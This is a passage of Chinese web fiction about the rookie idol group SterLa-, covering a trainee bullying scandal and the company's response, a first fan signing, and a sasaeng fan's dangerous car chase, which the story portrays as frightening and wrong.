“垃圾公司，策划和安保做的跟狗屎一样，还有这种事情，祝你早日倒闭。” “那说起来，他的时间不正好能对上乐狮新男团SterLa-的时间吗？” “细思恐极，我刚粉上，不会塌的这么快吧？” “楼上早点跑吧，我看他们面相也不是什么好人。” “你怎么不说你看手相呢？他只是说乐狮有人霸凌他，哪个字提到SterLa-了？真当造谣不犯法？” “这么护着，踩着你痛脚了？我就要说就要说，就是SterLa-霸凌怎么了？就算不是他们也是他们公司的，沆瀣一气，能有什么好人？” 乐狮娱乐，实名举报，练习生，霸凌；几个关键词组合起来直接霸占了热搜前三。里面当然少不了某些人的暗中助力。 而昨天下午还被公司放出来的Reaction逗得直乐，今天一直在喜滋滋庆祝SterLa-出道即入Top100战绩可查的粉丝们，现在被举报视频下的发言气得脑门疼。 无妄之灾，这根本就是无妄之灾！ 公司的事情跟他们这个小小的新人男团有什么关系？ 好事儿轮不上他们，听说第一场打歌的休息室小的人都站不进去。到了这种坏事儿就把SterLa-推出来背锅！ 情绪上头，不少粉丝愤怒的直接冲向了乐狮娱乐的官方账号，要求他们站出来发布声明，这事儿和SterLa-没有关系。 也有粉丝在各家超话和团队超话里喊话安抚，等公司的反应和通稿，不要随意和路人开麦，和他们吵起来把关注都引向了SterLa-不是好事情。 连富婆朱朱也站出来让：大家不要紧张，相信我们的眼光和选择。首先这个热搜本身来的就不正常；其次这是公司出现了这种情况，实际和SterLa-没有任何本质上的关联；最后，我不认为一个内向害羞到蜷手指的人，一个在化妆师姐姐补妆的时候主动半蹲着的人和认真对待着每一个舞台的人会去霸凌别人。我也相信所有的小蝴蝶们都信任着阿飞。我们只需要等待并且监督公司出澄清然后铺满整个平台。 娇娇自上次出图上热搜事件后，在江翰飞的粉圈里说话颇有分量，粉丝们也逐渐冷静。 公司早已经关注到了这件事。正在着手应对，只是现在视频下面的风向被带的都往新团SterLa-上，但实际上这个发视频的练习生所说的霸凌人员不明，公司排查需要时间。且收到消息后就开始尝试练习对方，但这位练习生昨天请假外出，到现在还没有回来，留下的联系方式已经联系不上了。 乐狮的公关部成立多年经验丰富，了解完情况后第一时间就知道这绝不是练习生一人能搞出来的，三个热搜，大面积的营销号搬运，没有钱可成不了事儿。这事儿估计还没结束。 这样的情况下，如果他们直接否认无疑正中对方下怀，对方手里估计是有什么证据在等着他们。 当务之急是需要查清事实以及在可以引导的舆论中保下新团SterLa。 公关部立即兵分几路。一边找人继续联系发视频的练习生，一边从该练习生在公司的所有记录进行排查，重点找来负责该练习生的C级练管，以及上课老师，宿管等所有可能看到情况的人。又在所有练习生大群里发了消息询问是否有知情者。 同时在网上第一时间发了声明表明他们的态度： @乐狮娱乐：针对热搜所说乐狮娱乐的练习生霸凌事件，事实情况正在调查中，稍后会把调查到的情况以及处理措施向各位公布。 如果练习生有证据可以直接联系我们发送证据，我们会第一时间做出处理。 另外，为了避免调查取证过程中出现问题，我们已经以公司的名义与当地警方取得沟通进行备案。在此过程中我们也将时刻关注恶意引导风向或造谣者，使用合法手段维护我们的权益。 乐狮娱乐作为娱乐公司，尊重所有艺人、练习生、粉丝们以及工作人员的努力，坚决杜绝这种不正风气的增长。 恳请大家给我们一点时间。 公告态度诚恳，做了交代会调查，并且主动联系警方。 好歹把公众的情绪安抚了下来。 江翰飞在宿舍里看到这个视频，突然想起来视频里的人是谁。 这个人不就是他还是C级练习生时，中间有一次回宿舍遇到蹲在客厅哭的人吗？没记错的话后来还和他搬进了同一间房间，补了那个施姓男生空位。 他还记得这个男生刚进宿舍的时候还挺开朗的。他能记得对方也是因为同样是进宿舍遭到冷遇，这个男生还能笑着把自我介绍说完，而自己当时见没人搭理就直接没开口。后来还因为这个在心里反思过自己一阵。 现在再看视频里他的样子，面部浮肿，嘴唇泛白干裂，眼睛里没了那点笑意，看不到当时开朗爱笑的影子。 江翰飞想起这个男生算是和自己有交集，把自己知道的事情始末发给了唐君君。 两分钟后，收到唐君君的回复：来11楼会议室。 第30章 会议室里聚集着公关部成员，唐君君和C级练管。 此时事情基本上已经搞清楚了，没想到最有效的是在练习生群里发的消息。 发出去后不久就有好几个练习生匿名给他们发了消息。 顺着名字和监控往下查，很快就锁定了一伙人。这伙人都是C级练习生，他们下过手的也不止举报人一个。 只是江翰飞的消息倒让他们有点难办了。 责任重大，唐君君就直接让江翰飞来会议室面谈。 “你确定没有参与过任何有关他的事儿吧？”唐君君蹙眉问道，“信任建立很难，但是崩塌很快。这次下了狠心才稳住了公众的信任，在我们的公告发了之后他再拿出任何不利于你的证据，我们想再解释就很难了。” “我确定。”江翰飞直视唐君君的眼睛，肯定的说道，“而且这伙人我也遇到过，我刚进公司的第一天和他们上的同一节舞蹈课。” 江翰飞认出公司查到的这群人不就是自己进公司练习第一天撞自己的那伙人吗？ 本来他都没什么记忆了，但是那个高壮的男生带着的耳环，让他看到后就想起来了。 “这伙人在我进公司第一天的时候应该也是想欺负一下我。” 想到现在的情况，江翰飞如实的和唐君君他们说了自己第一天进公司遇到的事情。其实这些如果不是刻意去回想，他都快记不清了。 当时才来第一天，脑子里都是混乱的想法，实在没有记下他们的空间。 唐君君和公关部的人听江翰飞说完倒是反而笑起来，公关部经理在旁边高兴起来，”这下稳了。“ “好了，你可以回去了，好好休息，把精力集中在舞台就行。”唐君君让他离开。 江翰飞走后，公关部就开始编辑公告。 @乐狮娱乐： 感谢大家的耐心，下面我们将和大家同步事件进度。 经排查，已经找到了对举报人施加精神和身体暴力的练习生，共有以下六人（名字）。这六人均为乐狮C级练习生。 首先，对此我们对自身的监管不利向举报人诚挚道歉，我们将无偿解除和举报人之间的练习生合约，并且如需医治，医疗期间的所有费用由我们承担。 其次，我们已解雇相关练管和宿管；并重新制定了练习生相关管理条例杜绝此时再次发生。 最后，我们无意包庇当事人，现已经开除这六人。 相关文件已经递交到官方，入举报人有更多诉求，可以交由官方进行判定和执行。 补充声明，近期也在网络上看到许多造谣称‘我司新推出的SterLa-其中有人参与霸凌’。在此严正声明：SterLa-没有任何人给与过此人的精神和身体的霸凌。相反，在SterLa-中也有一名成员曾在初期也遭受到过这伙人同样的对待。 恳请各位不信谣不传谣。SterLa-与此事无关。 公告发出迅速上了热搜，不仅是观望这件事的人多，公司自己还买了热搜和营销，务必要让所有人看到处理情况，不然那些人很久以后就会选择性忘记最后的澄清，只记得霸凌相关了。 等候许久的粉丝们看完终于对乐狮这个狗公司稍微没那么生气了。不管是处理速度和态度已经最后做出的声明，都已经算是娱乐圈的良心了，口碑还意外的提高不少。 但！是！ SterLa-的粉丝想要原地炸了那几个人。 那伙狗东西还欺负过SterLa-！ 虽然不知道谁被他们欺负过，先炸了再说。 几人的粉丝纷纷猜测该不会是自家豆被欺负了吧？连葛文山家的粉丝都觉得自家豆虽然长得高，但是又瘦又不怎么爱说话，是个容易受欺负的类型。更别提本来看起来就相对更瘦弱些的江翰飞和禹安了。 两家粉丝心疼的不行，直接化悲愤为动力，努力给他们冲榜和买专做数据。 举报人和暗中和举报人联系的也没想到这次乐狮娱乐这么刚，准备等他们有反驳的意思就丢出去的证据也没用了。而且查了之后还跟官方报备上了。这让暗中搞鬼的人收了心思，只警告举报人不能把他的事情说出去。就此结束交易。 最后举报人拿到了60%的款18万，无偿与乐狮解约了，公司还反而给了他几万块块钱说是赔偿他的损失费，他接了。回到乐狮拿东西的时候特地问了能不能给他江翰飞的联系方式，如果不能的话帮他给江翰飞带一句谢谢。 谢谢当时江翰飞递来的纸巾。 工作人员如实转达了，江翰飞听工作人员说完，工作人员道了谢低着头脚后跟蹭蹭地，安静站了好一会儿才回了宿舍。 来势汹汹的举报事件结束得虎头蛇尾，但不耽误唐君君借着机会把上次安阳娱乐整他们的事儿一起做了报告。 是的，唐君君和营销部的人查了很多层还是查到了，上次ICS休息室和这次联系乐狮前练习生进行举报都是安阳娱乐的人搞的。上次大概是想恶心一下他们，如果能让作为新人的SterLa-在首场演出因为这件事儿心态失衡，最后在台上出问题那就更是喜出望外。而举报对SterLa-只是被扫到的台风尾，真在想攻击的是公司。乐狮作为上市公司，负面舆论是要命的。 现在安阳娱乐就是摆明了想跟乐狮打擂台，那就不是她唐君君一个人的事儿了，她有她该干的活儿，老板也有老板要干的事儿。 新的一周开启，SterLa-练习和打歌中。一般新人男团的回归打歌期都会拉满1个月的打歌时间。人气团体看情况，有时候一两周，有时候也会拉长；而大热组合就比较随意了，有时候甚至直接不打歌。 第二次来到ICS远没有第一次那么紧张了。 “诶，阿飞，那是不是你的手幅和照片啊？”江翰飞被于立果突然问到，顺着他的视线方向望过去。 果然不仅有上次那三位女生，还有几个没见过的女生站在一起，手里都拿着江翰飞的手幅或者团扇。见他们出现，眼神像开灯一样biu的一下就亮了，赶紧把手里的手幅和扇子举了起来。 江翰飞阴沉了两天的心一下子拨云见雾，阳光照进来，雨水蒸发成汽消散开。 见自家爱豆也望过来，几个女孩子更兴奋了，看着他，站在那边等他们过去。 “啊啊啊他看过来了，我的宝宝看过来了！” “阿飞！昨天约着今天一起来给他加油果然是对的呜呜呜呜，不枉我昨天晚上赶了通宵过来。” 江翰飞走过来时正好听见这句昨晚赶通宵过来。想问又不好开口。 其他几个女孩儿已经开始跟着江翰飞往前走着，一边跟他聊着了：“阿飞要注意休息！感觉你又瘦了！” “好的，我会的。” “多吃点！” “那吃太多了可能不太行。” “没事！你变胖了我们也会爱你的！” “变胖了可能就看不到我，长胖了会去减肥，可就见不到了。” “那有好好睡觉吗？” “有的有的，最近睡得都挺好的。”江翰飞认真回答后又想起刚刚听见的那句话，偏过头看向那两个女生，“刚刚听你们说是通宵赶车过来的，有睡好吗？这样不太安全，有时间再来就可以。” “我会努力一直在的。” 没来得及听见她们的回复就到了入口处，粉丝们进不去。江翰飞回忆着网上的比心，转过身来把双手举到头顶，想比个大心的时候突然又有点羞赧，就两只手合着一起比了个小心，再跟她们挥手再见。 等他们都进去了，那个听见江翰飞问话的女孩子一时没忍住，眼圈一红，突然落下泪来。 旁边的几个女孩儿连忙安慰她，问她怎么了，是不是因为见到真人太激动了。 那个女孩儿一边摇头一边往外走，想着这里人太多嘴杂各家粉丝都有，不想在这儿给他惹麻烦。 几个女生也跟着她往外走，她们几个都是江翰飞的唯粉，看完江翰飞也没有其他人想看，走了也没什么。 拐了两个转角，进了一间咖啡厅。找了个安静的角落，点完餐，又细细地安慰起她来。 “我没事。”女孩儿说话的时候自带鼻音，眼睛红肿，眼瞳却亮晶晶的，“只是想到了我前夫哥。” “我TM给他花了那么多钱，连夜坐车追行程好多次，但是从没听他问过我安不安全，有没有睡好。”女孩儿端起点的冰咖啡一口气喝了半杯，呼出一口气，显出几分豪爽来，“江翰飞以后就是我最好的宝宝！呜呜呜呜呜。” 其他几个小姐妹： 看她肿着眼睛，叫嚷着江翰飞最帅最可爱最好的样子，又都忍不住笑起来。 是呀，我们也觉得江翰飞就是最好最棒哒！ “其实我觉得他说的最后一句话才是最有心的吧？”其中一位小妹妹举手示意。 “什么什么？”当时挺嘈杂的，除了她们和江翰飞，还有其他的队友也在和粉丝互动，此起彼伏的尖叫声并不少，离得稍微远点就听不清楚了。 “最后一句是说有时间再来吗？” “不是。” “他说：我会努力一直在的。” 30-40 第31章 乐狮的霸凌事件解决得漂亮，虽然确实有霸凌情况存在，但后续的处理让大众相对满意，尤其是主动跟警方联系备案的举动以及对举报人的补偿。旗下的艺人团体几乎没有受到影响。 唯一被牵连的SterLa-也因为粉丝们心疼，有疲软态势的音源甚至又往前冲了一波，已经到了87名。 销量更是一举冲上了10万。可别小瞧10万的销量，在这个男女团扎堆出道，时不时还有Solo和跨界歌手出专的时代，饶是华国地大物博人多，分散到各个团体，也不会每个团体都能卖上10万。况且其中还有许多购买能力较低的学生粉，路人粉，博爱粉，真正作为偶像团体销量基石是有购买力的死忠粉。 因此圈内虽然有上百万销量的天团，但大多数男团都还在50万以下的销量线挣扎。不少出道一两年有点温度的男团销量才堪堪10万+。而新人团能有10万销量的只有去年的选秀团，出道即卖80万+销量的历史级记录。今年出道的团体到现在除了K家的IUE过了5万的线卖了7万+，其他团体都凄凄惨惨，同期安阳娱乐的KtM卖了3万不到。 横向一对比，SterLa-的10万+销量已经是可以排进男团出道历史的销量级别了。网上不少圈中人都在讨论今年的新团双子星——K家的IUE和乐狮的SterLa-，一个音源成绩好，一个销量成绩好，今年的新人奖必定是要打一架了。 市场向来闻风而动，不少品牌方见新人团有这个购买力也心动了。甭管新团老团的，能给品牌方带来销量的才是好团。大品牌方还在观望，中小品牌方已经开始接触。 公司这边拉出销量曲线，大部分的销量增长都集中在打歌期。也就说明近期的活动转化了许多有购买力的粉丝入坑买专。这消息让出道艺人部的刘部长喜笑颜开，赶紧报了上去：前一个Cilier扑了一定不是我们的问题，我们的运营策划还是很厉害的！ 而富婆朱朱更是购买主力中的主力。 SterLa-出道专目前为止只放出了7场团体签售的链接，朱朱冲了全勤[注1]，算下来也就买了一千多张吧。 朱朱自己还挺无所谓的，SterLa-只是个刚出道的新团，觉得想冲签售容易得很，她冲顶级天团的签售一场的花费就足够冲他们整整7场，所以买的时候数量直接冲着必中的数去的。 还有三天就到他们的第一场签售了，朱朱看着房间角落堆着的礼物笑得开心，马上就能近距离见面啦！ 这边的江翰飞正拿着手机搜索着网上流传高评价的签售会互动。 他长这么大，除了在班上跟女同学值日、打扫卫生之外，他都没有单独和女孩子相处过，只能跑来网上学习别人怎么回复。 但好多话他真的觉得很难说出口，什么“你的老公难道不是我吗？”“那我们今天就去结婚吧！”，光是想想自己说这话的场面都能让他在被子里滚上几圈。 看了一圈，不断代入自己的江翰飞已经感觉自己要被煮熟了，真，真的要说这么羞耻的话吗？ 隔壁床的禹安听见江翰飞翻来翻去的声音，拉下自己的眼罩，“怎么还不睡觉？” “不好意思，吵醒你了吗？”江翰飞听禹安问自己，以为是自己把他吵醒了。 “没事，我本来也没睡着。”禹安和江翰飞住着两人间已经有一段时间，对彼此的习惯有了些了解，江翰飞很少有这样翻来覆去睡不着的时候，“你是有什么烦心事吗？方便说的话可以跟我讲讲。” 江翰飞是团内最小的一个，比他还小一岁，但平时反而是他经常照顾着团内不太细心的自己。 “我就是有点苦恼明天的签售会怎么办。”江翰飞听不是被自己吵醒，眉头一松，下一刻又立即皱起来，声音从被子里传出来显得闷闷的，“在网上看了好多评价很高的，知道自己应该这么说，但是又”有点羞耻几个字江翰飞有些说不出口，作为职业爱豆，他觉得这不是他应该说的话。 “有点不好意思？”禹安却懂了他没说完的话。江翰飞实在是个好懂的人，没有什么心眼，甚至可以评价为有点老实；实力不错有天赋，对人的感觉很敏感，不是强势的类型，甚至没见过他生气。 对禹安来说，是个很合心意的队友。 禹安侧过身，单手撑着脑袋，“不用完全照着学。你是爱豆，但你也是自己。哪怕是粉丝也不想听千篇一律的话，做你自己就行了。” “但是爱豆不就是要满足粉丝们的需求吗？”江翰飞反驳。 “那这么多粉丝，一人一个需求你能满足得过来？”禹安也不跟他争辩，“而且粉丝也没你想的那么在意你。爱来得快散的也快，太在意受伤的只会是你。” 禹安嗤笑一声躺下，戴上睡眠眼罩，意思很明显：不想跟傻子论长短。 江翰飞想起那几个女孩子看到自己眼里亮起的光；想到他们通宵赶过来，就为了站在门口见自己一面，说上几句话；想到台下用力挥舞的手幅和扇子。 黑暗的房间里，月光从窗外照进来。 他猜禹安还没有睡着，“我觉得不是。即使不能满足每个人的期望，但是我想成为他们想要的那个偶像。” 禹安觉得自己今天脑子不好才会跟江翰飞讨论这个，回了句：“随你吧。” 说完转过身背对着他睡觉了。 第二天是他们第一次签售会，一早就被逮到了化妆师做妆造。 签售会是露天的，幸好已经十月下旬，天气转凉，秋风吹来还带着几分惬意。 他们入场时，台下已经坐满了来参加签售的粉丝。现在还没有禁止收礼物，所以来的人身边大包小包的放着漂亮的礼物袋子。 见他们进来，女孩子们就开始沸腾起来，好几个女生手里的长枪短炮已经举起来对着他们，随着他们移动而动。 “1 2 3，大家好，我们是SterLa-，欢迎大家来到我们的首场签售。”五人齐齐说着开场语，说完被工作人员引到座位后面坐下，签售就开始了。 第一位上来的女孩子扎着双马尾上来，坐在吴星雨对面，几人悄悄竖起耳朵，他们也没签售过，现场取取经。 结果就听女孩儿问道，“哥哥，你真的有腹肌吗？” 噗—— 几人赶紧收回耳朵，眼观鼻鼻观心，这要怎么回答？ “有啊，真实有效，童叟无欺！”吴星雨大大方方地说道。以前混地下街舞的时候啥话没听过呢，这对他一点儿杀伤力没有。 “哇，哥哥你几块腹肌啊，能摸摸吗？”女孩儿当然知道不能上手摸，只是调戏一下吴星雨，“我都没有摸过腹肌。” “6块，8块腹肌太难了，等我以后有时间再多健身，争取整出8块腹肌来！” “别！别别别！您可千万别健身。6块已经很好了！”女孩儿忙说道，好像吴星雨去健身了会发生什么不好的事情一样。 “啊是吗？好吧。” 吴星雨在女孩儿的专辑上签下自己的名字，结束了对话。工作人员引导女孩儿往下一位于立果走去，下一位也坐到吴星雨面前开始聊天。 江翰飞坐在倒数第二个，中间坐着禹安，最左边坐着葛文山。 第一个签售的双马尾从禹安那儿站起来不等工作人员指引，直接一下子坐到了江翰飞面前：“阿飞！妈妈终于来看你了！” 江翰飞：？ 这年纪是否有点不对？ 但他好歹职业爱豆，也是知道妈粉的存在。只是面对面，一个年轻靓丽的女孩儿自称你妈妈，实在是冲击太大。 “你好，过来辛苦了吧？”江翰飞迅速进行面部管理，对着女孩儿问道。 “嗨，见你不辛苦。”女孩儿无所谓的摆摆手，从手里拎着的袋子里拿出一个礼物盒，“这是我给你买的礼物，希望你能亲自打开。” 江翰飞接过礼品盒，打开是一条手链，银白色的茉莉花链珠成串，还缀着一只透明的蝴蝶。 “喜欢吗？”女孩儿紧张地观察着江翰飞的神色。 “当然喜欢，好漂亮。”说着江翰飞直接就戴在了手上，还摇了摇。他的手腕细，骨结突出，和手链十分相称。 “这是我自己做的。”女孩子兴奋地涨红了脸，“我还在读书，以后等我挣钱了给你送更贵的。” 江翰飞又对着女孩儿摇了摇手链，笑着说：“不用啦，以后就送我你自己做的吧，我会更喜欢的。” 女孩儿还想说什么，但时间已经到了，只能匆忙地留下一句，“那说好了！” 下一位已经坐到了身前，江翰飞收回心神，终于遇上了最怕听见的一句话，“老公！我来见你啦！” 女孩儿长卷发，穿着素雅的连衣裙，看起来明明是很温柔的气质，但开口的一句话让江翰飞脸肉眼可见的红起来，眼神慌乱的乱瞟，又强制按捺住自己的害羞，正眼看过来。对视的时候朱朱分明看见了对方的睫毛都在颤抖着想闭眼逃跑。 凭借朱朱跟了江翰飞这么多场打歌的经验，她早知道江翰飞本身的性格有点内向，一旦有点害羞就上脸——脸和脖子红得特别快，有时候耳朵也会红透。 她知道自己喊这句老公江翰飞一定会害羞她才喊的，就是想逗逗他。 见他囧迫得睫毛都在抖还努力跟她对视，突然就不忍心继续逗他了，正准备开口说自己是开玩笑的，就听见江翰飞期期艾艾的回复：“嗯、嗯，你好，老老” “别老啦，我是开玩笑的！”朱朱瞥见他耳根果然红了，但还努力回应她，心里软乎乎的，简直想立即原地转妈粉，“最近打歌都不紧张了，我们阿飞真棒呀！” “对，最近习惯多了。”江翰飞见对方主动转移了话题说到打歌，暗暗松口气。 “你是不是每场打歌都有来，站在最后面那个呀？”江翰飞仔细打量着对方，觉得有点眼熟。 “我站那么后面你都认得出来？”朱朱惊讶了。她虽然场场都去，但是没有带着手幅和扇子，扛着自己的摄像机又站的远，不知道江翰飞是怎么认出来的。 “因为我老觉得你的镜头在拍我。”江翰飞抿嘴笑起来，“所以开灯的时候特别注意了一下。” 朱朱还没回答，旁边的工作人员一再示意她该起来了，“时间不够了，下场我们接着聊。” 姐可是买了7场的人。 第32章 签售日当天，各家粉丝都在暗戳戳的等待着什么。 今天第一场签售，必有美图和Repo！ 果不其然，签售结束没多久，小蝴蝶们就刷到了第一条来自一位画手大大的Repo。 [@清纯小狗煎包：第一次参加签售，我现在还有点激动，以下Repo仅来自我的个人经历感受，禁止二次搬运。 P1 自证，P2-P8是我用手机拍的图，虽然像素不是很好，但是阿飞宝宝超可爱的。 P9是我送的礼物。 我最大的感受就是：我的宝宝真的是太太太好了！ 能粉上你真的是我的幸运！ 事情是这样的，本来我早早做了妆造，但是去签售场地的路上出了点意外，一路狂奔过去，到场的时候他们已经快开始了，我的号码还特别靠前，随便扒拉了几下乱糟糟的头发就被催着上台签售了。 签到我宝的时候，他指着我的发卡问我，说这样歪着的发卡会不会扯着我的头发疼。谁懂啊！我带的是钻石发卡，特别重，之前没发现，一直到他提醒我才发现发卡拽着一小缕头发，生疼生疼的。 一路波折的我，听到这句就有点绷不住了。一个劲儿给他吐槽今天去见他的路上有多倒霉。他一直很认真地听着，然后很郑重，对，就是郑重的跟我说：你辛苦了。我当时差点脑子一激灵回复为人民服务！ 但这不是重点，重点是，他问我：这儿没有镜子，你不介意的话我帮你正一下你的发卡？ 我惊呆了！我没见过这么会的男的。这谁能拒绝，谁能拒绝我就问！ 然后他就一边特别温柔地说，如果扯到你头发把你扯疼了你要说。一边重新帮我把发卡别好了。 中间还有工作人员来催场，他还跟工作人员说让他稍等一下。 我真的，签完他之后我整个人都是愣的，真的想问，这个世界上怎么有这么温柔的男生啊！ 所有的委屈，焦虑，疲惫在他之后一点都没有了，真的都一点都没有了。 他真的特别特别好。] “你删了，我嫉妒！T T” “阿飞真的是个好宝宝。” “我们阿飞不是木头，他只是表情表达不是很多。很多小动作小细节都能看出来他真的是一个很温柔的人。” “姐妹问问怎么买签售？” “原来那个被他幸运别了发卡的人是你！” “心软软了。” 众人一刷新，发现博文又重新编辑了，又更新了一部分： [ 恳请大家以后不要要求他做这样的事，因为他坐下就被工作人员提醒不可以做这种动作。虽然感到很幸福，但是也很担心阿飞会不会被公司责骂。 写到这里已经有点后悔当时自己没拒绝了。] “骂他干什么，第一次签售谁知道啊？以后不做不就好了吗？” “公司敢骂我阿飞，我就去骂他们！” “小姐姐放宽心，不要过于忧虑，不是你的原因造成的。” “[抱抱]” “心软软的，都是特别好的宝宝。” 除了签售会的Repo，还有到场的站姐们的图在各个论坛，平台之间乱窜。有一套传播度特别高的图来自江翰飞的大站姐朱朱开的Fly站。 @Fly-Sterne：我的少年，往前飞吧！@SterLa- 江翰飞。[图]x9 朱朱的文案特别简单，图片却是每一张都很精美。 “Fly姐，你就是我的神！每一张都好帅！” “宝宝太帅了！最喜欢第4张，哈士奇的狗耳朵不要太合适！” “姐姐求！无水印原图，求求！” “第9张也好看，阿飞戴皇冠好合适，你就是一个小王子！” “我圆满了，每一张能看到手的图都戴着我送的手链，这是一直没有取下来过啊！不是什么奢侈品牌，是我自己做的手链而已，茉莉——莫离，我这辈子都离不开你了！” “姐能授权吗？真的好想用来做手幅，或者姐出周边吗？” 签售会结束后，江翰飞正用小号刷手机，这是还是禹安教他的，用微信额外注册了一个号用来刷日常，大号不方便，一登录就会在超话里显示在线状态，没法潜水了。 禹安凑过来，“你在看什么？” “没什么，就签售会上粉丝发的博文。”他也看到了Fly发的九宫格。今天的签售会后他就把Fly和那个穿素雅长裙的女生联系起来了。虽然他有好几个站姐了，但是从第一场打歌就有拍图发图的的就只有Fly。 “哦，那你签售会不好意思了吗？”禹安就是想问这个才凑够来的，眼睛笑得眯起来，蔫坏。 “唔，没有吧？”嘴上说着没有，但实际又想起了没能叫出口的称呼，好像确实不太适合，这得犯重婚罪吧？但是她们辛辛苦苦过来，想听结果没听到好像也很不合适 “哼。”禹安意味不明的笑了下，看着江翰飞眼里的不自然和纠结还是放过了他。 算了，不欺负老实人。 坐在前排的欣怡听见了他们的对话转过身来，“阿飞，今天签售会上给粉丝戴发卡的行为不太合适，以后签售会需要注意下。” “好的，我知道了。”江翰飞老实地点点头，他已经被唐君君打过电话骂过了，说这个头不能开，过于亲密了。 欣怡看江翰飞老老实实接受心里反而有点不得劲儿，又多解释了一句，“不是不让你和粉丝互动，只是需要把握好尺度，太过了容易引起一些不必要的风波。” 于立果坐在江翰飞后面，趴在江翰飞的座椅靠垫上，一只去揉江翰飞的后脑勺，一边接口，“欣怡姐，阿飞知道了。你再说她就要钻座位下面去了。” 江翰飞侧着身躲开于立果作乱的手，“嗯嗯，我知道了，下次不会了。” 欣怡看他俩互动放松下来，于立果和江翰飞队内关系最好是公认的，毕竟认识的也久，“对了，有个好消息要告诉你们。” 后排的葛文山和吴星雨也趴到前排的座椅靠垫上，五个大男生目光炯炯地看着欣怡。 “都了解你们的前辈团Hitting吧？”欣怡露出个故作神秘的笑来，见他们都点点头才又说道，“公司安排了你们上前辈团的自制综艺。” 五人目光一亮，都知道这是个好机会。 Hitting前辈作为大热男团，也是顶级男团之一，世巡是能用体育馆的等级，而且海外粉丝不少，上座率很高。他们的自制综艺则是公司自己策划，在视频网站发布的综艺。虽然是自己做的，不过质量有口皆碑，还有大量的粉丝群体，播放量不比一些小台的综艺节目差。 “回去记得把前辈团的综艺再多看看，熟悉一下团队的制作风格。人你们肯定都认识了吧？” 近期有太多邀约进来，公司也没想到刚出道能有这个反响，唐君君和执行经纪人两个人被各个品牌、杂志、采访等邀约缠得走不开身，得力助手欣怡就肩负起了部分跟行程的事。 “还有不熟悉的赶紧找时间补补课，预计录制时间是十一月初，大概三号的样子，具体录制行程还得跟Hitting那边商量空什么时间出来，确定之后会更新你们的行程表发到群里。” “嗯嗯！” 几人正开心，忽然听司机说了一句坐稳。猛踩一个加速，惯性让几人不由自主地身体前倾。欣怡手撑着前面，忙问道，“怎么了？” 司机看着后视镜，声音紧张，“刚刚有人别车，现在还在后面跟着，你们系好安全带，坐稳了。” 后排的五人立即后转往后看去。后面果然跟着一辆白色奥迪，车前反光看不清楚具体的相貌，但是依稀能看出来是个长头发的女生，还穿着白色的不知道是衣服还是裙子。 不知道是不是看到他们转过头来了，副驾驶的一位女孩子竟然直接打开了车窗探出头喊道；“停车，前面的停车！” 大胆的行为引来不少周边车子的关注。 江翰飞猜测似的小声问旁边的禹安，“这就是私生吗？” 禹安嘴角紧抿，看不出一丝笑意，整张脸都绷紧了，“嗯。” 前排的欣怡恨恨骂着，“真是一群阴魂不散的神经病。” 但她又不敢开窗回应，这要是被谁拍到了，是妥妥的影响路面交通的负面新闻。 后面副驾驶上的女生还在喊，“前面的停车，我知道是你们。” 车子越发逼近。左侧车道的车见白色奥迪这么疯，不敢惹事，降低速度和他们拉开了距离。白色奥迪得了空，横插过来和他们并行。 刚刚也并行过，是司机师傅发现他们想要别停他们才猛然加速了。 果然，这次白色奥迪又开始别过来，两车距离开始拉进。副驾驶的女孩子直接伸手拍着他们的车窗：“开窗！你们给我开窗！” “你们一个新出道的男团拽什么拽，给我开窗，出来服务一下你们的粉丝！” 越听她这么说，他们越不敢动。车内都沉浸在紧张的氛围里，砰砰的敲打声像是钉子往脑子里砸，所有人除了司机都下意识放慢了呼吸，抓着手里的安全带或者座椅垫，身体像是被拧紧的弦。 “没事，你们也不用太紧张，前面路口我们打个右拐就能甩掉他们了，旁边是直行道。”司机师傅成了场上最有经验的人，“你们可千万别开窗就行，真开窗见着人了更得疯起来。” 五人紧张地点点头。听过传言，看过视频，但是第一次实际遇到这么疯狂的粉丝。 果然，司机师傅的经验丰富，在前面路口右拐之后，白色奥迪来不及变道，只能直行，就此把他们给甩开。 车里的氛围这才松弛下来。 “私生总是这样。”禹安厌烦地说到。 “你之前遇到过吗？” 禹安没有回答，侧过头看向窗外。 第33章 那天的私生事件公司本没打算说的，但终究还是被粉丝知道了。 是短视频平台的博主随手发了一段视频，吐槽说不知道白色奥迪和黑色商务车有什么恩怨，命都不顾了，把小半个身子探出去敲窗。 下面的评论本来都在感慨，还有的在猜是不是抓到男朋友或者老公出轨了，这么激动；结果一个SterLa-的团粉看了却觉得那辆车眼熟。 那天她也去参加签售了，走的时候就是看着成员们上车走的。虽然两辆车的车牌都打了一半的码，但视频里的黑色商务车的颜色和前一半车牌号都对上了，再看视频的时间，地点也能对上。 当即就把这个视频转到了粉丝群里让大家确认，结果众人从车前面的摆件确认了就是SterLa-坐的商务车。那白色的奥迪不言而喻，就是私生在跟车了。 粉群和超话顿时炸锅，粉丝们纷纷跑到公司的博文下面留言，给公司私信询问成员们的安全情况。 公司没办法，直接出来发布了声明，严禁跟车，以及成员们都安全回了公司。 但这并不难平息粉丝们的怒火，几位成员的后援会以及SterLa-的团体后援会联合向公司发了声明和邮件，要求加强成员们的安保措施。毕竟这次是别车，那下次呢？ 不光粉丝，五人当天回了宿舍后也是心有余悸，回了宿舍都没怎么说话聊天，早早上床休息了。 睡前，禹安突然问江翰飞，“你现在还觉得要满足所有粉丝的期望吗？” “就像今天我们遇见的，他们对你难道不喜欢吗？”禹安平静的陈述着，“不，她们在你身上花费的时间，精力，金钱可能比一般粉丝多的多得多。但是你要满足她们的期望吗？” 江翰飞听着禹安的话有点迷茫，他现在还能回想起那个女生使劲儿拍打窗户的声音和隔着窗户都能听见的嘶吼，让他们下车服务粉丝。 “我还是觉得你说的不对。”江翰飞慢慢说着，“她们只是其中一种，甚至是占比非常小的一部分。他们属于粉丝中的一种，但不能代表粉丝这个群体。” “这种人我只见到了他们两个，但是喜欢我们的人见到了更多。在去录制打歌的路上也好，现场也好，还有签售会上也好。如果我要因为这两个人的存在否定掉其它所有人的心意，那他们会伤心的吧？” 禹安没想到江翰飞会这么说，转念一想又觉得他说得很对。想反驳又说不出反驳的话来，很多粉丝为了见他一面请假做飞机高铁过来守在录制入口，或者花钱买几十张专辑来参加签售会。她们要的很少很少，甚至很多不求回报的粉丝在网上给他做数据，为他买专辑，买图，剪视频等等。 忽然觉得之前的自己好傻。 禹安拉高被子挡在自己脸上，闷声闷气地说了句，“私生不是粉丝。不用纠结了。” 背过身去睡觉了。 综艺录制前他们还有两场打歌节目要上。目前为止，他们还一个一位都没有拿到，这两天销量和音源上来了，也最多进个第三的候补，连第二都没拿到过。 